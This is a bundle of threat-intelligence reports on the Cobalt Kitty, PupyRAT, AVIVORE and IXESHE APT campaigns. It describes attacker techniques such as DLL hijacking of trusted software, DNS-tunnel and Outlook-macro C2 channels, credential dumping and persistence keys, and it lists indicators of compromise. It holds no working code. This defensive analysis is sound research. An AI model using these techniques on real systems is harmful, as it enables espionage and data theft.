Phase two: Backdoors exploiting DLL-hijacking and using DNS tunneling After realizing that the PowerShell infrastructure had been discovered, the attackers had to quickly replace it to maintain persistence and continue the operation.
Replacing this infrastructure in 48 hours suggests that the threat actors were prepared for such a scenario.
During the second phase of the attack, the attackers introduced two sophisticated backdoors that they attempted to deploy on selected targets.
The introduction of the backdoors is a key turning point in the investigation since it demonstrated the threat actors resourcefulness and skill-set.
At the time of the attack, these backdoors were undetected and undocumented  by any security vendor.
Recently, Kaspersky researchers identified a variant of one of the backdoors as Backdoor.
Win32.Denis.
The attackers had to make sure that they remained undetected so the backdoors were designed to be as stealthy as possible.
To avoid being discovered, the malware authors used these techniques: Backdoors exploiting DLL hijacking against trusted applications The backdoor exploited a vulnerability called  DLL hijacking in order to hide the malware inside trusted software.
This technique exploits a security vulnerability found in legitimate software, which allows the attackers to load a fake DLL and execute its malicious code.
Please see an analysis of the backdoors in the Attackers Arsenal section.
The attackers exploited this vulnerability against the following trusted applications: Windows Search (vulnerable applications: searchindexer.exe /searchprotoclhost.exe) Fake DLL: msfte.dll (638b7b0536217c8923e856f4138d9caff7eb309d) 6/14 https://securelist.com/blog/research/78203/use-of-dns-tunneling-for-cc-communications/ http://resources.infosecinstitute.com/dll-hijacking-attacks-revisited/ https://www2.cybereason.com/asset/59:research-cobalt-kitty-attackers-arsenal Google Update (d30e8c7543adbc801d675068530b57d75cabb13f) Fake DLL: goopdate.dll (973b1ca8661be6651114edf29b10b31db4e218f7) 7/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22160327/dnstunneling1.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22155913/fakegoogle2.png Kasperskys Avpia (691686839681adb345728806889925dc4eddb74e) Fake DLL: product_info.dll (3cf4b44c9470fb5bd0c16996c4b2a338502a7517) By exploiting legitimate software, the attackers bypassed application whitelisting and legitimate security software, allowing them to continue their operations without raising any suspicions.
DNS Tunneling as C2 channel In attempt to overcome network filtering solutions, the attackers implemented a stealthier C2 communication method, using DNS Tunneling  a method of C2 communicating and data exfiltration using the DNS protocol.
To ensure that the DNS traffic would not be filtered, the attackers configured the backdoor to communicate with Google and OpenDNS DNS servers, since most organizations and security products will not filter traffic to those two major DNS services.
8/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22155743/kapersky.png https://securelist.com/blog/research/78203/use-of-dns-tunneling-for-cc-communications/ http://resources.infosecinstitute.com/dns-tunnelling/gref The screenshot below shows the traffic generated by the backdoor and demonstrates DNS Tunneling for C2 communication.
As shown, while the destination IP is 8.8.8.8  Googles DNS server  the malicious domain is hiding inside the DNS packet: 9/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22154001/dnstunneling2.png Phase three: Novel MS Outlook backdoor and lateral movement spree In the third phase of the operation, the attackers harvested credentials stored on the compromised machines and performed lateral movement and infected new machines.
The attackers also introduced a very rare and stealthy technique to communicate with their servers and exfiltrate data using Microsoft Outlook.
Outlook macro backdoor In a relentless attempt to remain undetected, the attackers devised a very stealthy C2 channel that is hard to detect 10/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22155611/deatinationprot.png https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22153045/phishingemail.png since it leverages an email-based C2 channel.
The attackers installed a backdoor macro in Microsoft Outlook that enabled them to execute commands, deploy their tools and steal valuable data from the compromised machines.
For a detailed analysis of the Outlook backdoor, please see the Attackers Arsenal section.
This technique works as follows: 1.
The malicious macro scans the victims Outlook inbox and looks for the strings cpte and ecpte.
2.
Then the macro will open a CMD shell that will execute whatever instruction / command is in between the strings.
3.
The macro deletes the message from inbox to ensure minimal risk of exposure.
4.
The macro searches for the special strings in the Deleted Items folder to find the attackers email address and sends the data back to the attackers via email.
5.
Lastly, the macro will delete any evidence of the emails received or sent by the attackers.
Credential dumping and lateral movement The attackers used the famous Mimikatz credential dumping tool as their main tool to obtain credentials including user passwords, NTLM hashes and Kerberos tickets.
Mimikatz is a very popular tool and is detected by most antivirus vendors and other security products.
Therefore, the attackers used over 10 different customized Mimikatz payloads, which were obfuscated and packed in a way that allowed them to evade antivirus detection.
The following are examples of Mimikatz command line arguments detected during the attack: 11/14 https://www2.cybereason.com/asset/59:research-cobalt-kitty-attackers-arsenal https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22160155/ecpte.png https://github.com/gentilkiwi/mimikatz The stolen credentials were used to infect more machines, leveraging Windows built-in tools as well as pass-the- ticket and pass-the-hash attacks.
Phase four: New arsenal and attempt to restore PowerShell infrastructure After a four week lull and no apparent malicious activity, the attackers returned to the scene and introduced new and improved tools aimed at bypassing the security mitigations that were implemented by the companys IT team.
These tools and methods mainly allowed them to bypass the PowerShell execution restrictions and password dumping mitigations.
During that phase, Cybereason found a compromised server that was used as the main attacking machine, where the attackers stored their arsenal in a network share, which made it easier to spread their tools to other machines on the network.
The attackers arsenal consisted: New variants of Denis and Goopy backdoors PowerShell Restriction Bypass Tool  Adapted from PSUnlock Github project.
PowerShell Cobalt Strike Beacon   New payload  new C2 domain 12/14 https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22152911/mimikatz.png https://attack.mitre.org/wiki/Technique/T1097 https://en.wikipedia.org/wiki/Pass_the_hash https://s3-us-west-1.amazonaws.com/cybereasonbucket/wp-content/uploads/2017/05/22153703/passthehash.png https://github.com/p3nt4/PSUnlock PowerShell Obfuscator  All the new PowerShell payloads are obfuscated using a publicly available script adapted from a Daniel Bohannons GitHub project.
HookPasswordChange  Inspired by tools found on GitHub, this tool alerts the attackers if a password has been changed.
Using this tool, the attackers could overcome a password reset.
The attackers modified their tool.
Customized Windows Credentials Dumper  A PowerShell password dumper that is based on a known password dumping tool, using PowerShell bypass and reflective loading.
The attackers specifically used it to obtain Outlook passwords.
Customized Outlook Credentials Dumper  Inspired by known Outlook credentials dumpers.
Mimikatz  PowerShell and Binary versions, with multiple layers of obfuscation.
Please see the Attackers Arsenal section for detailed analysis of the tools.
An analysis of this arsenal shows that the attackers went out of their way to restore the PowerShell-based infrastructure, even though it had already been detected and shut down once.
The attackers preference to use a fileless infrastructure specifically in conjunction with Cobalt Strike is very evident.
This could suggest that the attackers preferred to use known tools that are more expendable rather than using their own custom-built tools, which were used as a last resort.
Conclusion Operation Cobalt Kitty was a major cyber espionage APT that targeted a global corporation in Asia and was carried out by the OceanLotus Group.
The analysis of this APT proves how determined and motivated the attackers were.
They continuously changed techniques and upgraded their arsenal to remain under the radar.
In fact, they never gave up, even when the attack was exposed and shut down by the defenders.
During the investigation of Operation Cobalt Kitty, Cybereason uncovered and analyzed new tools in the OceanLotus Groups attack arsenal, such as: New backdoor (Goopy) using HTTP and DNS Tunneling for C2 communication.
Undocumented backdoor that used Outlook for C2 communication and data exfiltration.
Backdoors exploiting DLL sideloading attacks in legitimate applications from Microsoft, Google and Kaspersky.
Three customized credential dumping tools, which are inspired by known tools.
In addition, Cybereason uncovered new variants of the Denis backdoor and managed to attribute the backdoor to the OceanLotus Group  a connection that had not been publicly reported before.
This report provides a rare deep dive into a sophisticated APT that was carried out by one of the most fascinating groups operating in Asia.
The ability to closely monitor and detect the stages of an entire APT lifecycle  from initial infiltration to data exfiltration  is far from trivial.
The fact that most of the attackers tools were not detected by the antivirus software and other security products deployed in the companys environment before Cybereason, is not surprising.
The attackers obviously invested significant time and effort in keeping the operation undetected, striving to evade antivirus detection.
As the investigation progressed, some of the IOCs observed in Operation Cobalt Kitty started to emerge in the wild, and recently some were even reported being used in other campaigns.
It is important to remember, however, that IOCs have a tendency to change over time.
Therefore, understanding a threat actors behavioral patterns is 13/14 https://github.com/danielbohannon/Invoke-Obfuscation/blob/master/Invoke-Obfuscation.ps1 https://gist.github.com/mubix/6514311file-evilpassfilter-cpp https://github.com/clymb3r/Misc-Windows-Hacking/blob/master/HookPasswordChange/HookPasswordChange/HookPasswordChange.cpp http://www.oxid.it/downloads/vaultdump.txt https://www2.cybereason.com/asset/59:research-cobalt-kitty-attackers-arsenal https://securelist.com/blog/research/78203/use-of-dns-tunneling-for-cc-communications/ https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html essential in combatting modern and sophisticated APTs.
The modus operandi and tools served as behavioral fingerprints also played an important role in tying Operation Cobalt Kitty to the OceanLotus Group.
Lastly, our research provides an important testimony to the capabilities and working methods of the OceanLotus Group.
Operation Cobalt Kitty is unique in many ways, nonetheless, it is still just one link in the groups ever- growing chain of APT campaigns.
Orchestrating multiple APT campaigns in parallel and attacking a broad spectrum of targets takes an incredible amount of resources, time, manpower and motivation.
This combination is likely to be more common among nation-state actors.
While the are many rumours and speculations circulating in the InfoSec community, at the time of writing, there was no publicly available evidence that can confirm that the OceanLotus Group is a nation-state threat actor.
Until such evidence is made public, we will leave it to our readers to judge for themselves.
To be continued  Meow.
advanced persistent threat, APT, Cobalt Strike, Cybereason, Cybereason Labs, DLL hijacking, DNS Tunneling, fileless malware, OceanLotus Group, Operation Cobalt Kitty, Powershell Check out more research from Cybereason Labs See all lab blog posts 14/14 https://www.cybereason.com/tag/advanced-persistent-threat/ https://www.cybereason.com/tag/apt/ https://www.cybereason.com/tag/cobalt-strike/ https://www.cybereason.com/tag/cybereason/ https://www.cybereason.com/tag/cybereason-labs/ https://www.cybereason.com/tag/dll-hijacking/ https://www.cybereason.com/tag/dns-tunneling/ https://www.cybereason.com/tag/fileless-malware/ https://www.cybereason.com/tag/oceanlotus-group/ https://www.cybereason.com/tag/operation-cobalt-kitty/ https://www.cybereason.com/tag/powershell/ https://www.cybereason.com/labs-blog A Large Scale Cyber Espionage APT in Asia Operation Cobalt Kitty: A large-scale APT in Asia carried out by the OceanLotus Group Post by: Assaf Dahan High-level attack outline: A cat-and-mouse game in four acts Phase one: Fileless operation (PowerShell and Cobalt Strike payloads) Fileless payload delivery infrastructure Phase two: Backdoors exploiting DLL-hijacking and using DNS tunneling Phase three: Novel MS Outlook backdoor and lateral movement spree Outlook macro backdoor Credential dumping and lateral movement Phase four: New arsenal and attempt to restore PowerShell infrastructure Conclusion Check out more research from Cybereason Labs
Iranian PupyRAT Bites Middle Eastern Organizations secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations Threats  Defenses Customized phishing lures distribute PupyRAT malware.
Wednesday, February 15, 2017 By: Counter Threat Unit Research Team SecureWorks Counter Threat Unit (CTU) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017.
Some of messages were sent from legitimate email addresses belonging to several Middle Eastern organizations.
Campaign details The threat actor used shortened URLs in the body of the phishing emails that redirected to several spoofed domains (See Table 1).
Spoofed domain Legitimate domain Associated organization ntg-sa .
com ntg .
com .
sa National Technology Group, a Saudi Arabian telecommunications company itworx .
com-ho .
me itworx .
com ITWorx, an Egyptian information technology services firm mci .
com-ho .
me mci .
gov .
sa Saudi Ministry of Commerce moh .
com-ho .
me moh .
gov .
sa Saudi Ministry of Health mol .
com-ho .
me mol .
gov .
sa Saudi Ministry of Labor Table 1.
Spoofed domains hosted on 45 .
32 .
186 .
33.
(
Source: SecureWorks) Recipients who clicked the URL were presented a Microsoft Office document related to the phishing theme (see Figures 1 and 2).
1/4 https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations https://www.secureworks.com/ Figure 1.
Job offer lure (MD5: 43fad2d62bc23ffdc6d301571135222c).
(
Source: SecureWorks) Figure 2.
Ministry of Health lure (MD5: 1b5e33e5a244d2d67d7a09c4ccf16e56).
(
Source: SecureWorks) The downloaded document attempts to run a macro that then runs a PowerShell command.
This command downloads two additional PowerShell scripts that install PupyRAT, an open-source remote access trojan (RAT).
According to the developer, PupyRAT is a multi-platform (Windows, Linux, OSX, Android), multi-function RAT and post-exploitation tool mainly written in Python.
CTU analysis confirms that PupyRAT can give the threat actor full access to the victims system.
Conclusion CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY threat group (formerly labeled Threat Group-2889).
CTU researchers assess with high confidence that COBALT GYPSY is associated with Iranian government-directed cyber operations, and it has used tactics similar to this campaign: targeting Saudi financial, oil, and technology organizations using job-themed lures to infect systems registering spoofed domains spearphishing new victims using legitimate email addresses This campaign highlights the need for organizations to educate users about the risks of spearphishing and shortened links.
CTU researchers recommend that organizations disable macros in Microsoft Office products to prevent attacks that leverage this functionality.
Organizations should also incorporate advanced malware prevention technology and endpoint threat detection tools as part of their mitigation strategies.
Threat indicators The indicators in Table 2 are associated with the PupyRAT campaign.
The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser.
2/4 https://github.com/n1nj4sec/pupy https://www.secureworks.com/research/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ http://www.clearskysec.com/oilrig/ https://www.cylance.com/operation-cleaver-cylance https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-documents-7B4FDD2E-174F-47E2-9611-9EFE4F860B12 https://www.secureworks.com/capabilities/managed-security/network-security/advanced-malware-protection https://www.secureworks.com/capabilities/managed-security/endpoint-security/endpoint-threat-detection Indicator Type Context ntg-sa .
com Domain name Attacker-controlled spoofed website itworx .
com-ho .
me Domain name Attacker-controlled spoofed website mci .
com-ho .
me Domain name Attacker-controlled spoofed website moh .
com-ho .
me Domain name Attacker-controlled spoofed website mol .
com-ho .
me Domain name Attacker-controlled spoofed website 45 .
32 .
186 .
33 IP address Hosting spoofed domains used in PupyRAT phishing campaign 139 .
59 .
46 .
154 IP Address Hosting PowerShell stages of PupyRAT download 89 .
107 .
62 .
39 IP Address PupyRAT command and control server 43fad2d62bc23ffdc6d301571135222c MD5 hash Job-themed Word document lure (qhtma) delivering PupyRAT 735f5d7ef0c5129f0574bec3cf3d6b06b052744a SHA1 hash Job-themed Word document lure (qhtma) delivering PupyRAT e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 SHA256 hash Job-themed Word document lure (qhtma) delivering PupyRAT 1b5e33e5a244d2d67d7a09c4ccf16e56 MD5 hash Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT 934c51ff1ea00af2cb3b8465f0a3effcf759d866 SHA1 hash Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT 66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b SHA256 hash Ministry of Health lure (Health_insurance_registration.doc) delivering PupyRAT 03ea9457bf71d51d8109e737158be888 MD5 hash Password-themed lure (Password_Policy.xlsm) delivering PupyRAT d20168c523058c7a82f6d79ef63ea546c794e57b SHA1 hash Password-themed lure (Password_Policy.xlsm) delivering PupyRAT 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b SHA256 hash Password-themed lure (Password_Policy.xlsm) delivering PupyRAT 3/4 97cb7dc1395918c2f3018c109ab4ea5b MD5 hash PupyRAT (pupyx86.dll) 3215021976b933ff76ce3436e828286e124e2527 SHA1 hash PupyRAT (pupyx86.dll) 8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71 SHA256 hash PupyRAT (pupyx86.dll) Table 2.
Threat indicators for the Iranian PupyRAT campaign.
Gauging confidence level CTU researchers have adopted the grading system published by the U.S. Office of the Director of National Intelligence to indicate confidence in their assessments: High confidence generally indicates that judgments are based on high-quality information, and/or that the nature of the issue makes it possible to render a solid judgment.
A high confidence judgment is not a fact or a certainty, however, and such judgments still carry a risk of being wrong.
Moderate confidence generally means that the information is credibly sourced and plausible but not of sufficient quality or corroborated sufficiently to warrant a higher level of confidence.
Low confidence generally means that the informations credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems with the sources.
4/4 http://www.dni.gov/files/documents/Newsroom/Press Releases/2007 Press Releases/20071203_release.pdf Iranian PupyRAT Bites Middle Eastern Organizations Campaign details Conclusion Threat indicators Gauging confidence level
AVIVORE  Hunting Global Aerospace through the Supply Chain contextis.com/en/blog/avivore Until now, most prominent supply chain intrusions have been vertical initial victims are typically Managed Services Providers or software vendors leveraged by attackers to move up or down the supply chain.
However, since summer 2018, Context Information Security has been investigating a series of incidents targeting UK and European Aerospace and Defence that are best described as horizontal.
Advanced attackers have been leveraging direct connectivity between suppliers and partners who are integrated into each others value chains.
We have been tracking this activity under the codename AVIVORE.
Affected victims include large multinational firms (Primes) and smaller engineering or consultancy firms within their supply chain (Secondaries).
Context has worked closely with victims, the National Cyber Security Centre (NCSC), security organisations, and law enforcement agencies across Europe to reduce impact and prevent further compromise.
Who is AVIVORE?
Context categorises AVIVORE as a previously unknown and untracked nation-state level adversary, whose operators working hours appear to correlate to a time zone of UTC 8.
The primary objective for their intrusions is believed to be espionage, as well as access enablement through supply chain partners.
Recent reporting into incidents affecting Aerospace and Defence Primes has speculated that either APT10 or JSSD (Jiangsu Province Ministry of State Security) may be responsible for this activity.
Whilst certain similarities between these adversaries campaigns and those investigated by Context exist, the Tactics, Techniques and Procedures (TTPs), infrastructure 1/4 https://www.contextis.com/en/blog/avivore https://www.france24.com/en/20190926-airbus-hit-by-series-of-cyber-attacks-on-suppliers and tooling observed differ significantly.
Whilst involvement of these named adversaries cannot be ruled out, available evidence suggests this campaign is the work of a separate adversary group.
Capable and Adaptable AVIVORE showed themselves to be highly capable adept at both living-off-the-land (masquerading as legitimate users) and in their operational security awareness including forensically covering their tracks.
They demonstrated detailed knowledge of key individuals associated with projects of interest, and were able to successfully mirror working times and patterns of these users to avoid arousing suspicions.
They were also able to manipulate victim environments and security controls to facilitate and obfuscate their activities (e.g.
modifying firewall rules to accept RDP over alternate ports establishing hosts within the victim environment as remote access proxies).
AVIVOREs attack methodology for the linked intrusions followed a relatively set-format: Access into victim through leverage of compromised user credentials and legitimate external remote access services Escalate privileges within victim environment via abuse of legitimate tools and/or highly privileged service and enterprise administrator accounts Conduct account and host enumeration using net commands Schedule execution of scripts and tooling run in the context of the SYSTEM user Remove forensic artefacts of scripts  tooling, and clearing of event logs following execution Use of RDP for lateral movement around the victim environment.
Infrastructure and Tooling AVIVORE made extensive use of infrastructure providing interconnectivity between victims affected Secondaries are often suppliers to multiple Primes and frequently maintain direct network connectivity via Virtual Private Networks (VPNs) or other remote and collaborative working solutions.
AVIVORE exploited this relationship to bypass the (generally well- defended) perimeters of the Primes, evading critical controls and taking advantage of the challenges many organisations face in cross-boundary coordination.
This technique, referred to as Island Hopping, allowed AVIVORE to chain activity across multiple business units (with local IT and security teams operating independently) or geographical locales within victim environments.
Where Context had visibility of victim- facing network infrastructure employed by AVIVORE, it primarily consisted of commercial VPN infrastructure located in Singapore and Japan, as well as Tor.
This all served to obfuscate the origin of AVIVOREs connections into victim networks and made investigation challenging.
2/4 AVIVORE demonstrated a preference for in-built system tooling and abuse of legitimate software.
They introduced network scanning and certificate extractions tools, as well as Windows SysInternals tools such as ProcDump, across multiple victim environments.
These binaries were renamed to imitate Windows DLLs and staged in file system locations associated with compatibility and performance logging.
Such tools were typically executed on remote systems using scheduled tasks and then removed, together with their output, following execution.
Multiple instances of the PlugX Remote Access Trojan were discovered on compromised hosts.
Evidence suggested these implants were deployed between October 2015 and October 2016.
File system artefacts indicated that attackers may have interacted with them between deployment and the 2018 intrusions.
Although direct interaction with these implants was not observed during the investigation period, Context assess with low- moderate confidence that they may be associated to the AVIVORE intrusions.
Evidence indicated that some of the implants were patched in-memory, with modified configuration blocks injected post-execution to provide new C2 domains during times AVIVORE operators were active inside victim environments.
Future Recommendations and Mitigations Though the majority of activity investigated by Context has taken place since Jan/Feb 2018, artefacts from some victim environments indicate that AVIVORE likely maintained persistent access since October 2015, and potentially even earlier.
Therefore, it is possible that this is a small portion of a broader campaign.
In addition to Aerospace and Defence engineering victims, Context has seen AVIVORE target assets related to a number of other verticals including: Automotive Consultancy Energy/Nuclear Space and Satellite Technology Based on the information and assets sought by AVIVORE, Context assesses with moderate confidence that the objective of the recent campaign was intellectual property theft from victim organisations.
Although defence against advanced nation-state level actors can be challenging, Context recommend the following mitigations to disrupt future AVIVORE activity: Impose access limitations on supplier connections over VPNs, such as preventing their use outside of the suppliers business hours or from IP addresses and locations other than those pre-agreed, and restrict access only to data and assets they require to perform their actions.
3/4 Ensure that security measures, such as multifactor authentication and enhanced auditing/logging are deployed to hosts and services into which suppliers are required to connect, in order to prevent or support the investigation of any suspicious user behaviour.
Ensure that external remote access services implement appropriate log retention.
Logs should contain enough information on the sources of inbound connections to enable identification of anomalies, such as concurrent log-ins with impossible geography.
Ensure that credentials for highly privileged accounts and remote services are stored securely, and their use is appropriately monitored.
Hosts such as domain controllers, sensitive file shares and Public Key Infrastructure servers, should also be subject to particular additional scrutiny and monitoring.
Where possible, applications, documentation and technical information related to network infrastructure and configuration of remote access services should be made available only to engineers, IT support staff and other individuals with legitimate business need.
4/4 AVIVORE  Hunting Global Aerospace through the Supply Chain Who is AVIVORE?
Capable and Adaptable Infrastructure and Tooling Future Recommendations and Mitigations
Trend Micro Incorporated Research Paper 2012 IXESHE An APT Campaign By: David Sancho, Jessa dela Torre, Matsukawa Bakuei, Nart Villeneuve, and Robert McArdle PAGE ii  iXESHE CONTENTS Introduction .................................................................................... 1 Victims and Targets ............................................................... 1 Context...................................................................................... 1 Attack Vectors ........................................................................ 2 Operations .............................................................................. 2 Technical Analysis......................................................................... 2 Initial Delivery Method ......................................................... 2 Malware Local System Effects ............................................ 2 CC Communications ........................................................... 3 Related AES Campaign ........................................................4 CC Infrastructure ........................................................................5 Real CC Location .................................................................6 Attribution and Unique Fingerprints ........................................ 7 Unique Fingerprints and Modus Operandi ...................... 7 Relationships Between Attack Components ..........................8 Timeline ..........................................................................................12 Conclusion .....................................................................................15 Defending Against APTs .............................................................15 Local and External Threat Intelligence ...........................15 Mitigation and Cleanup Strategy ......................................16 Educating Employees Against Social Engineering .......16 Data-Centric Protection Strategy .....................................16 Trend Micro Threat Protection Against IXESHE Campaign Components .............................................................. 17 iXESHE INTRODUCTION The number of targeted attacks is undoubtedly on the rise.
These highly targeted attacks focus on individual organizations in an effort to extract valuable information.
In many ways, this is a return to the old hacking days before more widespread attacks targeting millions of users and the rise of computer worms came about.
Sometimes, these targeted attacks are allegedly linked to state-sponsored activities but may also be carried out by individual groups with their own goals.
Trend Micro continues to track and analyze highly targeted attacks, also known as advanced persistent threats (APTs).
We have, in fact, published two research papers on the Luckycat1 and Lurid2 campaigns.
This research paper will delve into another prominent group of attackers referred to as IXESHE (pronounced i-sushi), based on one of the more common detection names security companies use for the malware they utilize.
This campaign is notable for targeting East Asian governments, electronics manufacturers, and a telecommunications company.
The IXESHE campaign makes use of targeted emails with malicious attachments to compromise victims systems.
The emails are often tailored for specific victims and contain malicious attachments that are almost always weaponized .PDF files with known exploits that drop malware executables onto targeted systems.
In addition, the IXESHE attackers conducted two specific attacks that leveraged zero-day exploitsone in 2009 and another in 2011.
1 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_luckycat_redux.pdf 2 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_dissecting-lurid-apt.pdf The IXESHE attackers almost always make use of compromised servers as command-and-control (CC) servers.
In some cases, the compromised servers are hosted on target organizations networks after successful infiltration so the attackers can increase their control of the victims infrastructure.
Using this approach, the attackers amassed at least 60 CC servers over time.
This technique also allows the attackers to cover their tracks, as having the CC server in the victims corporate networks means very little CC traffic leaves them.
The attackers deliberate use of compromised machines and dynamic Domain Name System (DNS) services allows them to hide traces of their presence by confusing their activities with data belonging to legitimate individuals.
Looking at threat intelligence derived from tracking APT campaigns over time primarily based on the network traffic generated by the malware used, we were able to develop indicators of compromise for the IXESHE campaign.
The malware samples used in this campaign were not very complicated by nature but do give the attackers almost complete control over their targets compromised systems.
Victims and targets Most of the IP addresses of IXESHEs victims are linked to DSL networks, which made it difficult to determine their identities.
Careful research, however, allowed the identification of some of the attackers victims: East Asian governments Taiwanese electronics manufacturers A telecommunications company Campaign victims were identified by using Whois records and open source research.
Trend Micro generally notifies customers that are believed to have been specifically targeted by APT campaigns.
context The IXESHE attackers have been actively launching highly targeted attacks since at least July 2009.
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf iXESHE attack Vectors Available data on the IXESHE campaign indicates that targeted emails with malicious .PDF file attachments were the attackers vector of choice.
In most cases, the attacks involved Adobe Acrobat, Reader, and Flash Player exploits such as: CVE-2009-43243 CVE-2009-09274 CVE-2011-06095 CVE-2011-06116 It should also be noted that this campaign used CVE-2009- 43247 and CVE-2011-06098 exploits when these were still unpatched or considered zero-day vulnerabilities.
The IXESHE attackers also used an exploit that affected Microsoft ExcelCVE-2009-3129.9 operations The IXESHE malware binary allowed the attackers to easily take over and maintain complete control of victims systems to do the following: List all services, processes, and drives Terminate processes and services Download and upload files Start processes and services Get victims user names Get a machines name and domain name Download and execute arbitrary files Cause a system to pause or sleep for a specified number of minutes Spawn a remote shell List all current files and directories 3 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-4324 4 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-0927 5 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-0609 6 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-0611 7 http://contagiodump.blogspot.com/2009/12/dec-18-adobe-0-day-cve- 2009-4324-pdf.html 8 http://contagiodump.blogspot.ca/2011/03/cve-2011-0609-adobe-flash- player.html 9 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-3129 TECHNICAL ANALYSIS initial deliVery method Every IXESHE case we examined revealed that the original infection vector was a targeted email with a PDF exploit as attachment.
Older versions also used an XLS exploit.
Opening the .PDF file drops and executes a malware in a victims system.
The malware displays a blank .PDF file or a decoy document related to the targeted attack.
The emails normally come from compromised personal accounts or are entirely spoofed.
Emails from spoofed senders were usually sent via mail servers in the United States and China.
malware local system effects Once dropped onto target systems by means of a document exploit attached to a tailored email, the malware drops an executable file into one of the following folders: APPDATA\Locations\ APPDATA\Adobe TEMP The malware also sets the executable files attributes to Hidden.
Some of the file names the attackers used include: winhlps.exe acrotry.exe AcroRd32.exe Updater.exe In order for the malware to survive rebooting, it normally creates the following registry run key: HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run The registry run key, in turn, points to the malware that has been dropped.
The value name of this entry varies from sample to sample.
Some of the names the attackers used for it include: Adobe Assistant Migrated http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-4324 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-0927 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-0609 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2011-0611 http://contagiodump.blogspot.com/2009/12/dec-18-adobe-0-day-cve-2009-4324-pdf.html http://contagiodump.blogspot.com/2009/12/dec-18-adobe-0-day-cve-2009-4324-pdf.html http://contagiodump.blogspot.ca/2011/03/cve-2011-0609-adobe-flash-player.html http://contagiodump.blogspot.ca/2011/03/cve-2011-0609-adobe-flash-player.html http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2009-3129 iXESHE Some samples, however, do not use a registry run key as load point.
Some of the more recent samples we observed create a shortcut (i.e., .LNK file) in the Startup folder with names such as adobe reader speed launch.lnk.
The malware also checks a systems proxy settings for later use in CC communications: HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Internet Settings ProxyEnable ProxyServer cc communications Upon installation, the malware starts communicating with one of its CC servers.
Most of the samples appeared to have at least three CC servers hard coded for redundancy.
The CC communications are easy to identify, as these tended to be coded in the following predetermined format: http://[CC Server]/[ACD] [EW]S[Some Numbers].
jsp?
[Encrypted Base64 Blob] Some samples alternatively use an FGKD.jsp or an FPK.jsp file.
The Base64 blob is of particular interest.
It makes use of a custom Base64 alphabet.
